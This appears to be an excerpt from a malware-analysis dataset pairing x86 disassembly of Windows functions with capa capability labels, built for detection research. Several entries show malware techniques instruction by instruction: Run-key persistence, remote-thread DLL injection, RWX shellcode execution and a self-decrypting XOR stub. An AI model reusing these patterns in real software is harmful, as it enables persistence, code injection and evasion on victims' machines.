joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1002dc52
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1002dc87
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0xc], eax
push dword [ebp - 8]
push dword [ebp - 0xc]
push 1
push dword [ebp - 0x10]
call fcn.1002dd04
add esp, 0x10
jmp 0x1002dd00
lea eax, [ebp + 0x20]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x14]
movzx eax, byte [eax]
test eax, eax
je 0x1002dcf0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1002dcd1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 3
jge 0x1002dcee
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x28]
call fcn.1001abab
mov dword [eax], 1
jmp 0x1002dcc6
jmp 0x1002dd00
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov esp, ebp
pop ebp
ret
Function at 0x1002e73e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1002e77b
lea eax, [ebp + 0xc]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
movzx eax, byte [eax]
test eax, eax
je 0x1002e76e
push 0x1b54
push 0x185e
call dword [sym.imp.KERNEL32.dll_Beep]
jmp 0x1002e779
push 0x169e
call dword [sym.imp.KERNEL32.dll_ExitProcess]
jmp 0x1002e7a1
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
push dword [ebp - 8]
push 0x4035
push dword [ebp - 0xc]
push 1
push 0x35ba
call fcn.10021107
add esp, 0x14
mov esp, ebp
pop ebp
ret
Function at 0x10031572
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3c
movzx eax, byte [ebp + 0x2c]
test eax, eax
je 0x100315d0
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0x28]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x18], eax
push 0x7baa
push dword [ebp - 8]
push 0x472d
push dword [ebp - 0xc]
push 0x4e37
push dword [ebp - 0x10]
push 1
push 0x4bc6
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call fcn.10031661
add esp, 0x28
jmp 0x1003165d
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x34], eax
lea eax, [ebp + 0x24]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x1c]
movzx eax, byte [eax]
test eax, eax
je 0x1003163c
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10031620
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 4
jge 0x1003163a
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x30]
call fcn.1001abab
or dword [eax], 0xffffffff
jmp 0x10031615
jmp 0x1003165d
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp - 0x3c]
movzx eax, byte [eax]
test eax, eax
je 0x1003165d
push 0x169e
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov esp, ebp
pop ebp
ret
Function at 0x100325fa
Capabilities:
Compare security identifiers

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f967
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x20
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], 0x6a9d
mov dword [ebp - 0x28], 0x1000b008
cmp dword [ebp - 0x24], 0x6e5d
jle 0x100326c7
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_EqualSid]
and dword [ebp - 0x14], 0
jmp 0x1003264e
mov eax, dword [ebp - 0x14]
inc eax
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0x4843
jge 0x100326c7
and dword [ebp - 0x18], 0
jmp 0x10032664
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x505f
jge 0x100326c5
and dword [ebp - 0x1c], 0
jmp 0x1003267a
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x4c93
jge 0x100326c3
and dword [ebp - 0x20], 0
jmp 0x10032690
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x3513
jge 0x100326c1
mov eax, dword [ebp - 0x14]
cdq
idiv dword [ebp - 0x18]
sub edx, dword [ebp - 0x1c]
and edx, dword [ebp - 0x20]
mov eax, edx
cdq
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], edx
push dword [ebp - 0x2c]
push dword [ebp - 0x30]
mov ecx, 0x106086b8
call fcn.1001a8dc
jmp 0x10032689
jmp 0x10032673
jmp 0x1003265d
jmp 0x10032647
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0x6208
push dword [ebp + 0x14]
push 1
push dword [ebp + 0x10]
push 0x4146
call fcn.10032738
add esp, 0x1c
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x683b
jge 0x10032701
mov edx, dword [ebp - 0x28]
mov ecx, 0x106086b8
call fcn.1001cde7
jmp 0x1003271d
or dword [ebp - 4], 0xffffffff
jmp 0x10032727
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10032738
Capabilities:
Query service status

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1005f971
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x68
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x100328d1
mov eax, dword [ebp + 0x20]
mov dword [ebp - 0x44], eax
lea eax, [ebp + 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp - 0x28]
movzx eax, byte [eax]
test eax, eax
je 0x10032887
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x24], 0x38b7
mov dword [ebp - 0x3c], 0x1000b058
cmp dword [ebp - 0x24], 0x3a08
jle 0x1003282f
and dword [ebp - 0x20], 0
jmp 0x100327ba
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0x4870
jge 0x1003282f
and dword [ebp - 0x18], 0
jmp 0x100327d0
mov eax, dword [ebp - 0x18]
inc eax
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0x3f7d
jge 0x1003282d
and dword [ebp - 0x1c], 0
jmp 0x100327e6
mov eax, dword [ebp - 0x1c]
inc eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0x30a9
jge 0x1003282b
mov eax, dword [ebp - 0x18]
xor eax, dword [ebp - 0x1c]
or eax, dword [ebp - 0x20]
cdq
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], edx
push dword [ebp - 0x5c]
push dword [ebp - 0x60]
lea ecx, [ebp - 0x78]
call fcn.1000d6fa
pop ecx
pop ecx
mov dword [ebp - 0x30], eax
mov ecx, dword [ebp - 0x30]
call fcn.1001a8bc
push eax
call fcn.10049b86
pop ecx
lea ecx, [ebp - 0x78]
call fcn.1001a8b2
jmp 0x100327df
jmp 0x100327c9
jmp 0x100327b3
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
movzx eax, byte [eax]
test eax, eax
je 0x10032849
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
and dword [ebp - 4], 0
cmp dword [ebp - 0x24], 0x3552
jge 0x1003285f
push dword [ebp - 0x3c]
call fcn.10049b86
pop ecx
jmp 0x1003287b
or dword [ebp - 4], 0xffffffff
jmp 0x10032885
jmp 0x100328cf
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x48], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x14]
mov dword [eax], 0
jmp 0x100328b5
mov eax, dword [ebp - 0x14]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x14]
mov dword [ecx], eax
mov eax, dword [ebp - 0x14]
cmp dword [eax], 1
jge 0x100328cf
mov eax, dword [ebp - 0x14]
push dword [eax]
mov ecx, dword [ebp - 0x50]
call fcn.1001abab
or dword [eax], 0xffffffff
jmp 0x100328aa
jmp 0x100328ed
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x58], eax
push dword [ebp - 0x54]
push dword [ebp - 0x58]
push 1
call fcn.1002fa27
add esp, 0xc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1003db36
Capabilities:
Encode data using xor

Disassembly:
mov eax, 0x1005fc5d
call fcn.1005eaf8
sub esp, 0x28
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x24], edx
mov dword [ebp - 0x28], ecx
call fcn.1003d3ab
xor ebx, ebx
lea ecx, [ebp - 0x34]
xor esi, esi
inc ebx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x18], 0x17b844a7
push ebx
call fcn.1001ab0d
mov dword [ebp - 4], esi
mov dword [ebp - 0x20], 0xfffffffe
mov dword [ebp - 0x18], 0x6a2e
cmp dword [ebp - 0x18], 0x6bde
jle 0x1003dbc6
mov edi, esi
mov ebx, esi
mov eax, ebx
mov ecx, 0x106086b8
xor eax, edi
cdq
push edx
push eax
call fcn.1001a8dc
inc ebx
cmp ebx, 0x5636
jl 0x1003db8a
inc edi
cmp edi, 0x2e6d
jl 0x1003db88
push 0x1168
push 0x1b28
push 0xa1b
push esi
call dword [sym.imp.USER32.dll_GetMessageA]
xor ebx, ebx
inc ebx
mov dword [ebp - 0x1c], 0x6d7d0454
mov byte [ebp - 4], bl
cmp dword [ebp - 0x18], 0x6938
jge 0x1003dc09
mov edx, 0x1000ba88
mov ecx, 0x106086b8
call fcn.1001cde7
jmp 0x1003dc09
mov dword [ebp - 0x1c], 0x6a9bebb
mov dword [ebp - 0x18], esi
jmp 0x1003dc25
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov dword [eax + ecx*4], 0xfffffffe
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jl 0x1003dc15
mov eax, dword [ebp - 0x14]
xor ecx, ecx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
cmp eax, ebx
setge cl
mov dword [ebp - 0x18], ecx
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0x34]
mov dword [eax], ecx
mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], esi
jne 0x1003dc4f
mov ebx, esi
mov dword [ebp - 0x1c], ebx
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x20]
sub ecx, eax
sub ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
cmp ecx, eax
mov eax, dword [ebp - 0x34]
setle dl
xor ecx, ecx
cmp edx, dword [eax]
setl cl
mov dword [ebp - 0x1c], ecx
lea ecx, [ebp - 0x34]
or dword [ebp - 4], 0xffffffff
call fcn.1001ab8f
mov eax, dword [ebp - 0x24]
mov ecx, 0x3e8
cdq
idiv ecx
mov ecx, dword [ebp - 0x28]
mov esi, edx
mov edi, eax
call fcn.1003d339
mov ecx, dword [ebp - 0xc]
add eax, esi
add eax, edi
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1005afc5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x10065750]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.1004d158
mov dword [ebp - 0x14], eax
cmp dword [0x1060971c], esi
jne 0x1005b0b8
push 0x800
push esi
push 0x1000750c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x1005b045
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x1005b198
push esi
push esi
push 0x1000750c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x1005b198
push 0x10007524
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x1005b198
push eax
call ebx
push 0x10007530
push edi
mov dword [0x1060971c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007540
push edi
mov dword [0x10609720], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x10007554
push edi
mov dword [0x10609724], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x1060972c], eax
test eax, eax
je 0x1005b0b5
push 0x10007570
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x10609728], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x1005b0dd
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x1005b0d0
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x1005b0f2
push 4
pop eax
jmp 0x1005b19a
cmp dword [ebp - 0x14], esi
je 0x1005b0f2
push dword [0x1060971c]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x1005b0d7
mov eax, dword [0x10609728]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x1005b150
cmp dword [0x1060972c], edi
je 0x1005b150
push eax
call ebx
push dword [0x1060972c]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x1005b150
test eax, eax
je 0x1005b150
call ecx
test eax, eax
je 0x1005b145
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x1005b145
test byte [ebp - 8], 1
jne 0x1005b150
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x1005b180
mov eax, dword [0x10609720]
cmp eax, edi
je 0x1005b17d
push eax
call ebx
test eax, eax
je 0x1005b17d
call eax
mov esi, eax
test esi, esi
je 0x1005b17d
mov eax, dword [0x10609724]
cmp eax, edi
je 0x1005b17d
push eax
call ebx
test eax, eax
je 0x1005b17d
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x1060971c]
call ebx
test eax, eax
je 0x1005b198
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x1005b19a
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004a66b
mov esp, ebp
pop ebp
ret
Function at 0x628c12f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
mov dword [ebp - 0xc], 0
lea eax, [ebp - 0x30]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
movzx eax, word [ebp - 0x30]
movzx eax, ax
cmp eax, 6
je 0x628c134a
cmp eax, 6
jg 0x628c132a
test eax, eax
je 0x628c1353
cmp eax, 5
je 0x628c1341
jmp 0x628c1364
cmp eax, 9
je 0x628c1338
cmp eax, 0xffff
je 0x628c135c
jmp 0x628c1364
mov dword [ebp - 0xc], 0
jmp 0x628c1364
mov dword [ebp - 0xc], 0
jmp 0x628c1364
mov dword [ebp - 0xc], 0
jmp 0x628c1364
mov dword [ebp - 0xc], 1
jmp 0x628c1364
mov dword [ebp - 0xc], 0
nop
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x628c1369
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
push edi
sub esp, 0x444
lea eax, [ebp - 0x418]
mov dword [ebp - 0xc], eax
mov dword [ebp - 0x10], str.BuildingBlock.exe
mov dword [ebp - 0x14], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ebp - 0x18], str.BuildingBlock
mov dword [esp + 8], 0x400
lea eax, [ebp - 0x418]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
jmp 0x628c13b8
add dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test al, al
jne 0x628c13b4
jmp 0x628c13c8
sub dword [ebp - 0xc], 1
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
cmp al, 0x5c
jne 0x628c13c4
mov eax, dword [ebp - 0xc]
mov byte [eax], 0
lea eax, [ebp - 0x418]
mov ecx, 0xffffffff
mov edx, eax
mov eax, 0
mov edi, edx
repne scasb al, byte es:[edi]
mov eax, ecx
not eax
lea edx, [eax - 1]
lea eax, [ebp - 0x418]
add eax, edx
mov word [eax], 0x5c
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strcat
mov dword [ebp - 0x41c], 0
lea eax, [ebp - 0x41c]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x14]
mov dword [esp + 4], eax
mov dword [esp], 0x80000001
call sym._RegOpenKeyA_12
sub esp, 0xc
lea eax, [ebp - 0x418]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0x41c]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x418]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 7
mov edx, dword [ebp - 0x18]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x41c]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
mov edi, dword [ebp - 4]
leave
ret
Function at 0x628c152d
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret

Function at 0x628c1626
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._GetFileSize_8
sub esp, 8
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x628c166c
mov dword [esp], str.malloc_failed
call sym._puts
mov eax, 0
jmp 0x628c16b5
mov dword [esp + 0x10], 0
lea eax, [ebp - 0x10]
mov dword [esp + 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ReadFile_20
sub esp, 0x14
mov eax, dword [ebp - 0x10]
cmp dword [ebp - 0xc], eax
je 0x628c16b2
mov dword [esp], str.ReadFile_failed
call sym._puts
mov eax, 0
jmp 0x628c16b5
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x628c1748
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov eax, dword [ebp + 0xc]
lea edx, [ebp - 0xc]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0x40
mov dword [esp + 4], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov eax, dword [ebp + 8]
call eax
nop
leave
ret
Function at 0x628c1b30
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x628c603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x628c6034]
sub esp, 4
test ebx, ebx
je 0x628c1b7b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x628c1b74
test esi, esi
je 0x628c1b74
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x628c1b50
mov dword [esp], 0x628c603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x628c1d60
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x628c4178
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]

Function at 0x628c1db0
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x628c1e88
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x628c1dee
cmp eax, 4
jne 0x628c1e10
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x628c1dfe
cmp edx, 4
je 0x628c1dfe
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.628c1d60

Function at 0x403d61
Capabilities:
Encode data using xor

Disassembly:
push eax
push ebx
mov eax, 0x499
mov ecx, 0x404498
mov bl, byte [ecx]
sub bl, 0xf2
rol bl, 2
sub bl, cl
ror bl, 1
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d6d
mov eax, 0x261d
mov ecx, 0x403764
mov bl, byte [ecx]
rol bl, 7
ror bl, 2
sub bl, cl
xor bl, 0x91
mov byte [ecx], bl
dec ecx
dec eax
jne 0x403d8a
pop ebx
pop eax
add ecx, 0x2c1a
jmp ecx